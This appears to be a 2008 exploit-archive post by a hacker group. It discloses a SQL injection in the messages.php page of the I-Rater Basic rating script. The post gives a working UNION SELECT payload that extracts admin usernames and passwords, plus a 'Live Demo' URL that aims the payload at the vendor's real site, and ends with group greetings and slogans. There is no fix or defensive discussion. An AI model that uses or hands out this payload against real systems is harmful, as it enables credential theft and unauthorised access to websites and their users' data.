[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : I-Rater Basic (messages.php) Remote SQL Injection Vulnerability
# Published : 2008-12-18
# Author : boom3rang
# Previous Title : Calendar Script 1.1 Insecure Cookie Handling Vulnerability
# Next Title : Phpclanwebsite <= 1.23.3 Fix Pack #5 Multiple Remote Vulnerabilities
#######################################################
I-Rater Basic(messages.php) SQL-injection.
#######################################################
###################################################
#[~] Author : boom3rang
#[~] Kosova Hackers Group [www.khg-crew.ws]
#[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.
#[!] Script Name: I-Rater Basic
#[!] Home Page: http://www.i-rater.com
#[!] Google_Dork: N/A
###################################################
#[~] Example:
http://localhost/Path/messages.php?idp=[exploit]
#[~]Exploit:
-9999+union+all+select+1,2,3,concat(username,char(58),password)KHG,5,6,7,8+from+admin--
#[!] Live Demo
http://www.i-rater.com/basic/messages.php?idp=-9999+union+all+select+1,2,3,concat(username,char(58),password)KHG,5,6,7,8+from+admin--
#[!] Note
To see the information go View Sources/Search "large.php?id=" ;).
##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################
# www.Syue.com [2008-12-18]